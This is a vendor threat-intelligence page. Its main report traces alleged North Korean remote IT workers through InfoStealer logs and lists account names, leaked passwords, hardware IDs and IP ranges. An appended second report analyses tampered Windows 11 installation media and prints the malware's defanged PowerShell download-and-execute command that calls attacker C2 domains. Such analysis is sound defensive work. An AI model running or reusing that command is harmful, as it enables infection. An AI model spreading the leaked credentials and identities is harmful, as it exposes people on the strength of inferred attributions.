[Logpresso CTI] DPRK Remote IT Worker OSINT Analysis Report

Tracking Undercover DPRK IT Workers Through InfoStealer Logs

Uncovering Coordinated Multi-Identity Operations Through 1 Million Botnet Telemetry Records


Introduction: Limitations of Existing Methodologies

The infiltration of global remote IT markets by North Korean workers using fraudulent identities has become a persistent threat. The scale of this operation is well-documented in US Department of Justice indictments, FBI advisories, and international sanction lists.

Traditional security analyses have heavily relied on malware reverse engineering. However, disguised North Korean IT workers (hereafter DPRK operatives) rarely deploy malware directly. Instead, they integrate into standard development environments—committing code to GitHub, attending Slack meetings, and resolving Jira tickets. By perfectly mimicking the behavioral patterns of legitimate remote developers, they render signature-based detection mechanisms entirely ineffective.

This research took a different starting point. It analyzed infection logs of InfoStealer malware from the deep and dark web as its primary source. When the devices used by these operatives were themselves compromised by InfoStealers, they inadvertently leaked critical telemetry: email credentials, passwords, access IPs, and unique hardware IDs. And these traces provided the foundational intelligence necessary to reverse-trace and map the operatives’ underlying operational infrastructure.

Table of content

  • Methodology: Cross-Validation of Common Indicators
  • Key Findings
  1. Five Personas Operated From a Single Device
  2. Korean Language Keyboards Reveals Identity
  3. Password Pattern Clustering Identifies Distinct Operational Groups
  4. Three-pronged Infrastructure Set — SMS Proxy Services, VPN, and Remote Access
  5. Russian ISP TransTeleCom Identified as Core Infrastructure
  • Operational Group Profile
  • Key Artifact Analysis
  • Conclusion

Methodology: Cross-Validation of Common Indicators

The analysis established a baseline using 1,879 DPRK operative-related email account patterns previously disclosed by the US government and private research institutions. We then cross-referenced this baseline against 1,045,645 InfoStealer infection records collected from the deep web since 2024.


Figure 1. Distribution and density of entire telemetry data set

The starting point of this analysis was to verify whether more than one million telemetry records could be interpreted through clustering. Visualization based on key botnet infection data—such as email addresses, IP addresses, and passwords—led to the conclusion that this data can serve as an analytical indicator representing the activities of DPRK operative groups. These validated data clusters form the foundation of the findings presented in this report.


Figure 2. Password similarity clustering using the Levenshtein algorithm

o visualize the data leaked through botnet infections, the analysis extracted key indicators, such as email accounts, IP addresses, passwords, and shared passwords. To quantify password similarity, we applied the Levenshtein Edit Distance algorithm to visualize these data. Cross-referencing these clusters against established DPRK IT worker TTPs allowed us to isolate high-confidence groups. All findings presented in this report underwent this cross-validation process.

Key IndicatorAnalytical Approach
Email AccountPrimary pivot for account correlation; domain and local-part pattern analysis
IP AddressShared IP, C-Class subnet, and ASN infrastructure mapping
Hardware IDMulti-account detection on shared devices
PasswordPassword family clustering using the Levenshtein algorithm

Table 1. Classification of key telemetry data

To evaluate the validity of the correlated telemetry, we established a three-tier confidence model.

Confidence LevelCriteria
HighMatch across three distinct indicators (IP address, password, and Hardware ID)
MediumMatch across two independent indicators, or a single high-fidelity indicator.
LowA single low-fidelity indicator (e.g., shared C-Class subnet or common password).

Table 2. Confidence level and criteria

The analysis identified 80 unique email accounts, 66 IP addresses, and 66 hardware IDs, all of which were associated with 490 domains across 28 countries.


Key Finding 1: Five Personas Operated From a Single Device

The most notable finding emerged from hardware ID clustering, revealing up to five email accounts tied to a single physical device. (Note: The majority of the accounts analyzed in this report are Gmail. Throughout this report, any email address listed without a domain implies a @gmail.com suffix.)

Hardware ID (partial)Number of Related Email AccountsEmail Accounts
65BSLIZSLNT8XOE0NMM5backendeng0417, kretovvadim881, leo.arnold.honey, richbondjames, techking5287
88B59F2CF1ACE41FCB4E5codechef730, i.asan825.mail, lovelydeveloper829, matchingcube, p.rango
2WU1NIB0KVZFV9YJG194justinbropico, smallstar0924, tenochbush, webmaster0407

Table 3. Persona distribution per hardware ID

These findings indicate that operatives go beyond simple device sharing; they concurrently manage multiple fraudulent personas and freelance profiles from a single endpoint. This operational setup enables parallel employment campaigns. For instance, from the same device, an operative can apply for a backend engineering role under the persona 'backendeng0417' while actively targeting another organization under the persona 'richbondjames'.


Key Finding 2: Korean Language Keyboards Reveals Identity

Mismatches between personas and underlying system language configurations provide compelling evidence for identifying the group behind the operation.

Email AccountUsername/ProfileCountry of AccessOS Language Settings
fujino.juzo@gmail.comJapaneseFinland, Hong KongEnglish (US), Korean (Korea)
felix44291@gmail.comWestern-sounding nameUSA, JapanEnglish (US), Korean (Korea)

Table 4. Discrepancies between persona nationality and system language configurations

In the first case, analysis confirmed that despite using a Japanese name, the device was configured with a Korean keyboard. This strongly indicates that the actual user is a native Korean speaker, not Japanese.

InfoStealer logs capture the OS language and keyboard settings of infected devices. While threat actors can easily fabricate personas, underlying device language configurations are frequently overlooked.


Key Finding 3: Password Pattern Clustering Identifies Distinct Operational Groups


Figure 3. Visualization of password patterns within the collected telemetry

Analysis revealed that specific passwords were reused across multiple email accounts, despite those accounts claiming different nationalities and names. The use of identical passwords by accounts presenting distinct identities serves as a key indicator that these are not independent freelancers, but members of a single, coordinated operational group.

  • Xiah@1998123: This password was used identically across four email accounts (balsinyar, duartejose020202, kyrychenkov30, romanvaraksin763).
  • 123qwe!@#QWE: Shared across six email accounts, this string exhibits a "keyboard-walk" pattern—typing characters sequentially based on keyboard layout. This specific pattern has been repeatedly observed in North Korea-linked operations.

Furthermore, clustering via the Levenshtein algorithm confirmed that these operatives followed systematic modification rules rather than relying solely on simple reuse:

  • Assasin Family: Assasin123!Assasin123~Assasom123~aSSASIN123~
  • James Family: James123~james123~ (shared across 3 email accounts)
  • Email Derivation Pattern: Deriving the password directly from the local part of the email address (e.g., Email: lprfacial247@gmail.com → Password: lprfacial247).

These "convenient passwords", chosen by operatives managing large-scale accounts for ease of recall, paradoxically have become decisive clues enabling security analysts to identify and track threat actors.


Key Finding 4: Three-pronged Infrastructure Set — SMS Proxy Services, VPN, and Remote Access


Figure 4. Analysis of accessed domain services

The list of services accessed by email accounts reveals the full picture of the DPRK operative infrastructure.

ServiceNumber of Email Accounts AccessedOperational Role
sms-activate.org7SMS proxy service for renting verification numbers to create fake accounts.
www.astrill.com5VPN service frequently favored by DPRK operatives.
my.anydesk.com4Remote desktop — used for proxy access or remote control of shared machines.

Table 5. Key services accessed by DPRK operatives to conceal their identity

At the same time, these accounts were actively operating across multiple services to appear as legitimate freelancers.

PlatformNumber of Email Accounts AccessedUse Case (Purpose)
github.com18Code portfolio management and commits
www.linkedin.com11Job search
www.freelancer.com9Securing freelance contracts
angel.co4Applying for startup roles
login.payoneer.com4Payment collection
dashboard.stripe.com4Payment collection

Table 6. Legitimate platforms exploited for freelance persona cultivation

Through the domain access logs of these DPRK operatives, we identified a highly systematic operational pattern:

Job ApplicationPayment CollectionLocation Obfuscation (VPN)Account Verification Bypass (SMS Proxy)

This report assesses this specific sequence as the primary operational lifecycle driving the employment campaigns of DPRK operatives.


Key Finding 5: Russian ISP TransTeleCom Identified as Core Infrastructure

An ASN analysis of the 66 extracted IP addresses revealed a significant concentration within a specific Russian telecommunications provider.

AS20485 Joint Stock Company TransTeleCom (Russia): 7 IP addresses, 11 associated email accounts

TransTeleCom is a major backbone telecommunications provider in Russia. This high concentration within a single ASN strongly suggests a reliance on Russian hosting or its deployment as a VPN exit node.

Geographically, Hong Kong accounted for 64.9% of all events. Major domestic and international intelligence agencies, alongside prior security reports, have already identified Hong Kong as a key hub utilized by DPRK IT workers; our findings fully align with these existing threat assessments. Furthermore, this indicates that operatives are likely leveraging VPN services based in Hong Kong to conceal their true geographic locations.


Operational Group Profile

This summarizes the characteristics of the five operational groups identified.

Group 1 — Germany-based, five personas tied to a single device

  • HWID: 65BSLIZSLNT8XOE0NMM
  • Email Accounts: backendeng0417, kretovvadim881, leo.arnold.honey, richbondjames, techking5287
  • Notable feature: Highest incidence of password reuse (shared within the James/Assasin family)

Group 2 — Russia-based, unified language configurations

  • HWID: 88B59F2CF1ACE41FCB4E
  • Email Accounts: codechef730, i.asan825.mail, lovelydeveloper829, matchingcube, p.rango
  • Notable feature: All accounts uniformly set to English (United States), indicating deliberate configuration management.

Group 3 — Russia-based, absence of language settings

  • HWID: 2WU1NIB0KVZFV9YJG19
  • Email Accounts: justinbropico, smallstar0924, tenochbush, webmaster0407
  • Notable feature: Absence of language setting information

Group 4 — Multi-national operation, Highest confidence cluster

  • HWID: 20A1F78D427D13056976 and others
  • Email Accounts: balsinyar, duartejose020202, romanvaraksin763 (linked to + kyrychenkov30)
  • Notable feature: Accessed from 6 countries while sharing the exact password Xiah@1998123 . This provides significant evidence of a highly interconnected operator network.

Group 5 — Russia-based, developer-specific nicknames

  • HWID: 22EAD21274BD7FBDA6B6
  • Email Accounts: codechef730, codewarrier3000, svendev128
  • Notable feature: Usernames are explicitly tailored for developer roles (codechef, codewarrier), demonstrating a focused targeting of technical employment opportunities.

Key Artifact Analysis

Email Accounts (High Confidence)

The following is a list of email accounts associated with DPRK operatives, identified through various threat indicators. Notably, a single email account exhibiting complex correlations with up to 8 IP addresses, 2 passwords, and 8 Hardware IDs represents a highly anomalous pattern that deviates significantly from legitimate user behavior.

The “1:N” multi-mapping pattern provides strong evidence that these accounts are not operated by individual users but are instead centrally managed as part of a coordinated fraudulent identity infrastructure.

kyrychenkov30@gmail.com       (IP×8, PW×2, HWID×8)
romanvaraksin763@gmail.com    (IP×6, PW×3, HWID×6)
balsinyar@gmail.com           (IP×6, PW×2, HWID×6)
backendeng0417@gmail.com      (IP×1, PW×4, HWID×1)
richbondjames@gmail.com       (IP×1, PW×4, HWID×1)

ASN/IP

AS20485 (TransTeleCom, RU) — 188.43.235.0/24, 188.43.33.0/24, 188.43.253.0/24

Password Patterns

Registering the following patterns with credential monitoring or dark web leak detection systems enables the proactive detection of new email accounts belonging to the same DPRK operative group.

123qwe!@#QWE        # 6 email accounts shared, keyboard-walk pattern
Xiah@[0-9]{7}       # 4 email accounts shared, same operational group signal
Assasin123[~!@#]+   # Family cluster, suffix variation
James123[~!@#]+     # Family cluster, suffix variation

Geographical/Linguistic Anomalies

We strongly advise incorporating the following anomaly detection logic into recruitment platforms and corporate HR systems:

  • Profile-System Language Mismatch: Trigger an alert when an applicant's claimed nationality or name conflicts with the OS or browser language settings of their accessing device.
  • Abnormal Multi-Country Access: Flag accounts that log in from IP addresses spanning three or more countries within a compressed timeframe (e.g., 7 days).
  • Single-Device Multi-Account Access (Duplicate HWID): Generate immediate alerts when multiple jobseeker profiles access the platform from the exact same Hardware ID. (Implementing session or browser fingerprinting on the recruitment platform is highly recommended).
  • Virtual Number Authentication: Flag accounts verified using phone numbers issued by services such as sms-activate.org.

Recruitment Process Recommendations

To effectively block infiltration by DPRK operatives, we recommend implementing the following multi-layered security controls throughout the recruitment lifecycle:

  • Verification — Multi-Dimensional Identity Vetting: Cross-check the authenticity of the applicant's LinkedIn profile, professional activity, and GitHub commit history. During video interviews, mandate the use of deepfake detection tools to confirm the applicant's true physical identity.
  • Identification — Behavioral Red Flags: Exercise heightened caution regarding candidates who insist on using specific cross-border payment platforms (e.g., Payoneer, Wise) prior to contract signing, or those who request the routing of internal access OTPs to public SMS numbers.
  • Control — Endpoint and Infrastructure Monitoring: Whenever feasible, provision dedicated corporate devices to remote workers and enforce Mobile Device Management (MDM) solutions. This facilitates the continuous monitoring of access IPs and ASNs, enabling the real-time detection of anomalous access.

Conclusion

This report reveals two key findings.

First, DPRK operatives disguised as IT professionals do not represent mere individual-level fraudulent activity; rather, they are part of an organized operation utilizing a highly coordinated "multi-identity infrastructure." The simultaneous management of five or more personas from a single device, the systematic modification of passwords, and the combination of SMS authentication proxies with VPNs clearly demonstrate that these actors belong to a thoroughly trained organization.

Second, this research demonstrates that InfoStealer telemetry can be effectively leveraged to track such evasive groups. Traditional malware reverse engineering methods face significant limitations when tracking organizations that do not distribute malware themselves. However, the paradoxical reality that even threat actors can become infected with malware provides a critical new lead for tracking. Minor traces left in botnet logs—such as hardware IDs, language settings, and reused passwords—become the most decisive clues to pierce through false personas and reveal the true operators. As seen in cases where falsified Japanese identities were exposed by the use of Korean keyboard settings, decisive intelligence often emerges from the most trivial operational security failures.

The infiltration of overseas organizations by DPRK operatives is not merely a means of generating foreign currency. The internal system access rights, source code repositories, and cloud console credentials they secure can easily become initial access vectors for larger, destructive cyberattacks. Ultimately, proactively detecting these disguised operatives at the recruitment stage remains the most economical and robust line of defense for comprehensive corporate risk management.

See Also

More

Supply Chain Compromise Analysis of Korean-Language Windows 11 Installation Media - A New Distribution Vector for the JSCEAL Campaign

<center> <img src="/media/en/2026-09-08-windows11-report-eng/thumbnail_eng_window11_report.png"> <br> </center> # Supply Chain Compromise Analysis of Korean-Language Windows 11 Installation Media ## A New Distribution Vector for the JSCEAL Campaign **Authors** Dongeon Gu · Seunghun Han · Gibeom Lee · Mingyeom Kim **Published** August 2026 **Type** Supply Chain Threat Analysis Report --- ## Download the Report This report is available as a downloadable PDF for internal sharing and response. It includes the full IOC list, infection-check commands, and detection and response guidance, so security teams can put it straight to use. **See how installation media built with an official tool became a malware distribution vector — with the full investigation that traced the tampering to its source, along with infection-check steps and indicators of compromise (IOC).** **[Download the full report](https://logpresso-marketing.s3.ap-northeast-2.amazonaws.com/Analysis+of+Compromised+Korean-Language+Windows+11+Installation+Media.pdf)** --- ## Contents 1. Summary 2. Background and Scope of Investigation 3. Discovery and Investigation Methodology 4. Technical Analysis of the Malware 5. Infection Conditions and Scope of Impact 6. Reasons for Classification as a Supply Chain Compromise 7. Related Findings: Similar Community Posts 8. Indicators of Compromise (IOC) 9. Detection and Response 10. Conclusion 11. Appendix: Supporting Evidence > • All dates and times are given in Korea Standard Time (KST). This document is based on forensic findings from Logpresso's own investigation, and its purpose is to provide technical facts and indicators of compromise (IOCs). > - Third-party materials in this report — such as product screenshots, service screenshots, and community posts — are quoted solely for fact verification and to share indicators of compromise. All rights to such materials belong to their respective owners. Microsoft, Windows, and Windows Defender are trademarks of Microsoft Corporation, and other company and product names mentioned in this report are trademarks or registered trademarks of their respective owners. Citing third-party materials does not imply any sponsorship, endorsement, or affiliation of the rights holders with this report. > > --- ## 01. Summary In July 2025, while tracing the cause of recurring malware infections on a company laptop, Logpresso confirmed that Korean-language Windows 11 installation media built with Microsoft's official Media Creation Tool had been tampered with to download malware. The tampered media contained a scheduled task (`OSVersionInstallerV1Task`), registered by default, that downloaded and executed infostealer malware as soon as the machine connected to the internet. Notably, the scheduled task did not appear in the English-language edition of the same build or in virtual machine environments. The key findings of this report are as follows: - Three variables determined whether the malware was downloaded: the installation media creation method (Media Creation Tool), the installation language (Korean), and the installation environment (a physical laptop rather than a virtual machine). - The malware-downloading scheduled task had been present in the installation media since at least the October 2024 build (26100.2033) and remained dormant for about nine months until the C2 infrastructure went live in July 2025. - The `install.esd` and `boot.wim` files, which the Media Creation Tool generates dynamically while creating Windows media, appear to have been tampered with for reasons that remain unclear, and the same tampering was not present in the ISO images directly distributed by Microsoft. - This malware belongs to the same family later analyzed publicly by Check Point as part of the JSCEAL campaign targeting cryptocurrency users. - While investigating the malware, we found two Microsoft Q&A posts, published roughly an hour apart when the malware campaign was activated, that are suspected of having been intended to confuse efforts to trace the infection vector (see Section 7). --- ## 02. Background and Scope of Investigation Logpresso recognized that the same malware infection kept recurring on a company laptop and launched an investigation to identify the root cause. Even after we retrieved the infected machine and performed a clean install of Windows on another machine, the same symptoms kept appearing, so the investigation shifted from treating this as an infection of an individual device to a search for the root cause of the malware infection. This report covers the technical facts we witnessed, how the malware operates, the indicators of compromise (IOCs), and why we consider this incident a supply chain compromise. --- ## 03. Discovery and Investigation Methodology ### ① Initial Detection **At 5:01 AM on July 28, 2025**, our EDR logged a malware detection on a company laptop. `preflight.js` (SHA256: `d21e2193f80378603c15bf71b6a7669c8a9266a04f34ea3502c82f1d80532bec`) was detected at the path `C:\Windows\System32\DomainAuthHost`. On July 25, we had added a hash-based custom detection rule to our EDR. **At 2:20 PM the same day**, the same laptop attempted to communicate with `w[.]local-mailer[.]com` to download malware, and this communication was blocked by our firewall integrated with Logpresso CTI. Subsequent analysis confirmed that this communication attempt was caused by the same malware the EDR had detected earlier. <center> <img src="/media/en/2026-09-08-windows11-report-eng/1.png"> <br> | Initial detection/blocking alert in an internal monitoring channel on July 28, 2025 | </center> ### ② Confirming Tampering in Korean-Language Windows Installation Media We continued to find malware even after we retrieved the infected machine and ran clean installs on other machines. Over about two weeks we installed Windows more than 100 times, ruling out possible causes one by one. - **User error:** Only legitimate programs were installed and there was no trace of suspicious installations. - **Wi-Fi driver infection:** The same symptoms returned even after the Wi-Fi module was replaced. - **Compromise of our corporate network:** The same symptoms reproduced even when we connected through cellular tethering (5G). In more than 100 installations, we only ever discovered machines that had already been infected — we didn't witness the malware being downloaded even once. Suspecting the installation media itself, we installed the EDR during Windows setup, before the machine went online, to observe the infection in real time. That run demonstrated that the scheduled task downloaded the malware as soon as the machine connected to the internet during setup. <center> <img src="/media/en/2026-09-08-windows11-report-eng/2.png"> <br> | Defender detecting malware being downloaded via the scheduled task during Windows installation | </center> ### ③ The Same Scheduled Task in a Newer Build The first build we installed was 26100.2033 (October 2024). Suspecting that the installation media itself was the source of the problem, we created new installation media using the latest build available at the time, 26100.4349 (June 2025), and performed a fresh installation. However, the same issue was reproduced. <center> <img src="/media/en/2026-09-08-windows11-report-eng/3.jpg"> <br> | Build number of the Korean-language installation media (build 2033) | </center> ### ④ Conditions Under Which the Malware Download Scheduled Task Is Not Created Across repeated installations, we found that the malware-download scheduled task did not appear when the same build of Korean-language Windows was installed in a virtual machine, or when the English-language edition of the same build was installed. Nor did it appear on systems installed from a Korean-language ISO image downloaded directly from Microsoft's official download page. 1. Installation of Korean-language Windows on a VM 2. Installation of English-language Windows (26100.4349) on a laptop 3. Installation of the same version of Korean-language Windows on a laptop from an ISO image rather than from media created with the Media Creation Tool ### ⑤ Conditions Under Which the Malware Manifested Logpresso investigated the possibility that the Media Creation Tool itself had been tampered with. Its digital signature checked out as a legitimate Microsoft code-signed binary. We then used the Media Creation Tool on two different systems to create installation media for builds 26100.2033 and 26100.4349. Considering this, three reproducible variables determined whether infection occurred: 1. **Installation media creation method:** Installation media created with the Media Creation Tool 2. **Installation language:** Korean 3. **Installation environment:** A physical laptop rather than a virtual machine --- ## 04. Technical Analysis of the Malware ### ① Initial Persistence: Scheduled Task When Korean-language Windows 11 was installed and the machine went online, a scheduled task named `OSVersionInstallerV1Task` ran the following command every 15 minutes. ``` Invoke-WebRequest -UseBasicParsing w[.]local-mailer[.]com/?OSVersionInstallerV1Task | Invoke-Expression ``` The same task also carried a backup C2 command line. The C2 domain starting with `sd1s` did not exist at the time this analysis report was first written, on August 13. This domain became active after August 21. ``` Invoke-WebRequest -UseBasicParsing sd1s[.]taylor-convert[.]com/?OSVersionInstallerV1Task | Invoke-Expression ``` ### ② Defense Evasion Techniques The malware employed multiple layers of evasion techniques. - **Defender exclusion registration:** While registering the scheduled task, it added the `C:\Windows\System32` path and the `powershell.exe` process to Windows Defender's scan exclusion list, thereby excluding itself from Defender's scans. - **Fileless execution:** Scripts fetched from the C2 were never saved to a file; instead, they were executed directly in memory using `Invoke-Expression`. - **Execution context verification:** The external script exhibited malicious behavior only when launched by the Windows Task Scheduler. When an analyst ran the same command manually, no malicious behavior appeared, which made manual analysis difficult. ### ③ Trigger Mechanism `OSVersionInstallerV1Task` was not triggered by a time-based schedule; instead, it was configured with a "custom event filter." This XPath query was identical regardless of build. ```xml <QueryList> <Query Id="0" Path="Application"> <Select Path="Application">*[System[(Level=1 or Level=111 or Level=4 or Level=0 or Level=5) and ((EventID &gt;= -( -2) and EventID &lt;= (65501)) or EventID = 911)]]</Select> </Query> </QueryList> ``` ### ④ Second-Stage Infection If the host was judged a worthwhile target during the reconnaissance stage, a second stage followed. To set up a `node.exe` execution environment, `node.zip` and `build.zip` were downloaded and then executed in the form `node.exe -r preflight.js app.jsc`. - `preflight.js` registers a `.jsc`specific loader with Node.js. - The actual malicious logic is contained within `app.jsc`, which is compiled to V8 bytecode. - This code operates as a botnet client that continuously communicates with the C2 server, exfiltrating system information and performing file upload/download and command execution. This malware belongs to the same family that Check Point later publicly analyzed as part of the JSCEAL campaign targeting cryptocurrency users: research.checkpoint.com/2025/jsceal-targets-crypto-apps. ### ⑤ C2 Infrastructure and Activation Timeline Analysis We established the following registration and activation timeline for the C2 infrastructure. - The domain `local-mailer[.]com` was registered on April 1, 2025. - The subdomain `w[.]local-mailer[.]com` was registered in DNS on July 25, 2025, and malware distribution by that host began the same day. <center> <img src="/media/en/2026-09-08-windows11-report-eng/4.png"> <br> | DNS activation of w[.]local-mailer[.]com, July 25, 2025 | </center> VirusTotal records confirm that the backup C2 domain `sd1s[.]taylor-convert[.]com` first became active on August 21, 2025. No communication with this backup domain was found on August 13, 2025, when Logpresso first documented the issue and reported it to Microsoft. --- ## 05. Infection Conditions and Scope of Impact Not all Korean-language Windows 11 installation media were affected by this problem. Whether infection occurred was determined as follows. - **Infected devices:** installations from media created with the Media Creation Tool. We confirmed malware-downloading behavior on builds 26100.2033 and 26100.4349. - **Non-infected devices:** laptops with factory preinstalled Windows, or installations from an ISO downloaded directly from Microsoft. For example, another LG Gram laptop issued to an employee showed no such problem. The machine was running the factory-preinstalled Windows 11 Home, with only the license upgraded to Pro. This issue did not occur even when an ISO was downloaded and installed directly. This suggests that neither the Windows installation images Microsoft publishes as ISOs nor those supplied to OEM vendors had been compromised. --- ## 06. Reasons for Classification as a Supply Chain Compromise Two things lead us to classify this as a supply chain compromise rather than ordinary malware distribution. <center> <img src="/media/en/2026-09-08-windows11-report-eng/5_eng.png"> <br> | Infection Timeline: 285 Days from Dormancy to Detection:266-day dormant period (93%) and 19-day activation and detection period (7%) | </center> ### ① Long Dormancy, Followed by Remote Activation The malicious scheduled task had been present in the installation media since at least the October 2024 build. Build 26100.2033 was officially released on October 8, 2024 (KB5044284). However, because the Media Creation Tool at the time typically took several weeks to a month to reflect a new build, the point at which this build began to be distributed is estimated to have been between late October and early November 2024. Given that the C2 domain (`local-mailer[.]com`) was not registered until April 2025 and its web server did not become operational until late July, the scheduled task appears to have remained dormant for approximately nine months. Until the web server became operational, the scheduled task would have been attempting to communicate with a non-existent domain/server. Planting malware dormant and activating it remotely after a significant period of time is a classic supply chain pattern, and one that ordinary detection rarely catches in advance. For reference, the backup C2 domain `taylor-convert[.]com` was also registered in April 2025. ### ② Tampering Confined to Dynamically Generated Files This problem appeared only in Korean-language installation media created with the Media Creation Tool and did not appear in ISO files distributed directly by Microsoft. When the Media Creation Tool creates installation media, most files are copied in prebuilt form. Only two files, `install.esd` and `boot.wim`, are generated during the creation of the media. This is evident from their modification timestamps, which, unlike those of the other files, correspond to the time the media was created. This narrows down the files that could plausibly have been tampered with on the installation media to these two files. <center> <img src="/media/en/2026-09-08-windows11-report-eng/6.png"> <br> | Modification timestamps of install.esd and boot.wim, matching the media creation time | </center> We could not determine whether the tampering occurred in Microsoft's internal build pipeline or in the CDN used for distribution. What is certain, however, is that it existed in the media built with the Media Creation Tool for about one year. Logpresso reported the incident to Microsoft on August 13, 2025. Microsoft acknowledged receipt, indicating that the matter was under review and that it had been forwarded to the relevant department. However, as of the publication of this report (August 2026), we have not received any further response regarding the investigation results or actions taken. --- ## 07. Related Findings: Similar Community Posts During the investigation, we found two posts on Microsoft Q&A (the Microsoft Learn Community forum) describing the same "DomainAuthHost" malware infection under `C:\Windows\System32`, published on July 31, 2025, at 3:58 PM and 4:46 PM, about 48 minutes apart. - `https://learn.microsoft.com/en-us/answers/questions/5509503/domainauthhost-malware-infection-c-windowssystem32` — G\*\*\*, July 31, 2025, 3:58 PM - `https://learn.microsoft.com/en-us/answers/questions/5509569/domainauthhost-malware-what-additional-steps-shoul` — H\*\*\*, July 31, 2025, 4:46 PM Both posts share an identical paragraph structure and narrative flow, and numerous sentences match completely down to spelling, phrasing, and order. The sentences below appear identically, word for word, in both posts. - No matter how many times I deleted it, it was reinstalled. - I couldn't understand how the hacker performed 2FA even though they accessed from my IP. - A filter was added to Gmail that marked all legitimate emails as read and moved them to trash, preventing me from knowing I received emails. I deleted the filter. - I deleted all 3 schedules. - I also deleted registry values registered under the DomainAuthHost name. - I discovered multiple trojans and hacking tools registered in Windows Defender's exclusion list and deleted them. - And I am worried because I saw in another article that the problem persisted even after formatting. - Finally, I performed a Farbar Scan about 8 hours after the hack. - I'm a bit worried because there might be parts I missed, the hacker might have temporarily stopped attacks, and Farbar might not detect inactive network malware. A number of sentences were also found where the structure and word order were preserved but only proper nouns were substituted. | First Post | Second Post | | --- | --- | | Phone-computer file sharing program automatic execution phenomenon occurred. | Google Quick Share automatic execution phenomenon occurred. | | I installed a cryptocurrency-related program few days ago and deleted it after 5 minutes. | I installed a cryptocurrency-related program around July 28 and deleted it after 5 minutes. | | OTP was also set up, but it was linked to the hacked account. | Google Authenticator was also set up but was linked to the hacked Google account. | | Phone-computer file sharing program was set to "repeat every 15 minutes indefinitely after trigger". | Google Quick Share was set to "repeat every 15 minutes indefinitely after trigger". | Both posts attribute the cause of infection to having "installed a cryptocurrency-related program a few days earlier and deleted it after 5 minutes." This does not match the infection path we reproduced in a fully controlled environment (a clean install with no external program installation whatsoever). Even though Logpresso's own forensic investigation was unable to pinpoint the infection vector, the authors of these two posts specifically identify one. The names of the scheduled tasks appearing in the two posts, "SustemOnStartup" and "OSResourcesInstallerV2," differ from that of the `OSVersionInstallerV1Task` identified by Logpresso, but their structures are similar. In particular, "SustemOnStartup" appears to be a typo for "SystemOnStartup," and this same typo appears in both posts. Even now, when searching for "DomainAuthHost" or the scheduled task name in question, these two posts appear at the top of the results. This report does not draw any definitive conclusions about the authors' intent in publishing these two posts. However, it documents that the posts were published around the time the malware campaign was active and shared a narrative attributing the cause of the problem to factors other than the OS installation media. --- ## 08. Indicators of Compromise (IOC) | Category | Value | | --- | --- | | Scheduled task name | `OSVersionInstallerV1Task` | | Execution interval | 15 minutes | | C2 (primary) | `w[.]local-mailer[.]com` | | C2 (backup) | `sd1s[.]taylor-convert[.]com` | | Second-stage related domains | `warmtogrove[.]net/script`, `faro[.]wataica[.]live`, `api[.]gulgowsks[.]co` | | C2 IP (believed to be a Cloudflare proxy) | `104[.]21[.]17[.]189`, `172[.]67[.]178[.]21` | | MD5 (`app.jsc`) | `0b8015cbb1ffdc6efe6a306ff5b1115f` | | MD5 (`preflight.js`) | `28e756c61961b10a026999c80e6f3f9b` | | SHA256 (`preflight.js`) | `d21e2193f80378603c15bf71b6a7669c8a9266a04f34ea3502c82f1d80532bec` (Defender detection name: `Trojan:JS/JSCeal!MTB`) | | Malware path | `C:\Windows\System32\DomainAuthHost` | --- ## 09. Detection and Response ### ① Checking for Infection Check the following on any Windows system you suspect may be infected: - **Scheduled task:** From an elevated Command Prompt, run the command below to verify the existence and details of the scheduled task. ``` schtasks /query /tn "OSVersionInstallerV1Task" /xml ``` - **Malicious path:** Check whether the `C:\Windows\System32\DomainAuthHost` folder exists. This path does not exist on a clean system. - **Defender exclusions:** Check whether the `C:\Windows\System32` path or the `powershell.exe` process is registered in the Windows Defender scan exclusion list. Normally neither should be registered. - **Network communication:** Check firewall and proxy logs for outbound attempts to the C2 domains and IPs listed in Section 8 (IOC). ### ② Recommended Response - If infection is confirmed, reinstall using an ISO image directly distributed by Microsoft, or an OEM preinstalled image, rather than installation media generated with the Media Creation Tool. - Add the domains and IP addresses specified in the IOCs to the blocklists in the firewall, EDR, and CTI systems. - If Korean-language Windows 11 installation media created using the Media Creation Tool have been distributed within the organization, perform the above checks on all devices installed using that media. --- ## 10. Conclusion This investigation confirmed that a malicious scheduled task was registered by default on Korean-language Windows 11 installation media created using Microsoft's official Media Creation Tool. The task downloads and executes an infostealer as soon as an internet connection is established. This malware remained dormant for approximately nine months, from at least the October 2024 build until it was activated in late July 2025 when the C2 infrastructure went live. The same behavior was not reproduced on the English-language edition of the same build, in virtual machines, on directly downloaded ISOs, or on OEM preinstalled images. Because the infection conditions are limited to installation images in a specific language (Korean), and the threat remains dormant for an extended period before being activated remotely, it is difficult to detect in advance using conventional security software. In this report, Logpresso shares the technical facts and indicators of compromise (IOCs) identified through thorough investigation, in order to enable organizations and users in similar environments to check for potential infections and take appropriate action. --- *This report was prepared for informational purposes and to share security threat intelligence.* *Founded in 2013, Logpresso is a SecOps company built on an XDR platform. Powered by its proprietary big-data engine, it delivers an integrated security solution that combines log management, SIEM, SOAR, and DFIR, leading the market and technology at home and abroad. The Logpresso platform supports integration with more than 250 external solutions, and this extensibility enables forensic-grade in-depth incident investigation and automated threat response. Today more than 250 organizations — including major financial institutions and global manufacturers such as Samsung, LG, and SK hynix — have adopted Logpresso to build a next-generation security operations framework.* *Contact: contact@logpresso.com*

2026-09-08

[위협 분석] 건강검진 안내 문서로 위장한 악성코드

2025년 10월 말, 건강검진 안내 문서로 위장한 JSE 파일이 조직적인 APT 공격에 활용되었으며, 분석 결과 북한 Kimsuky 조직에 의한 공격으로 판단됩니다. Kimsuky는 북한과 연계된 것으로 추정되는 APT(Advanced Persistent Threat) 그룹으로, 주로 정보 수집과 관련된 각종 스파이 활동을 수행합니다.

2025-11-06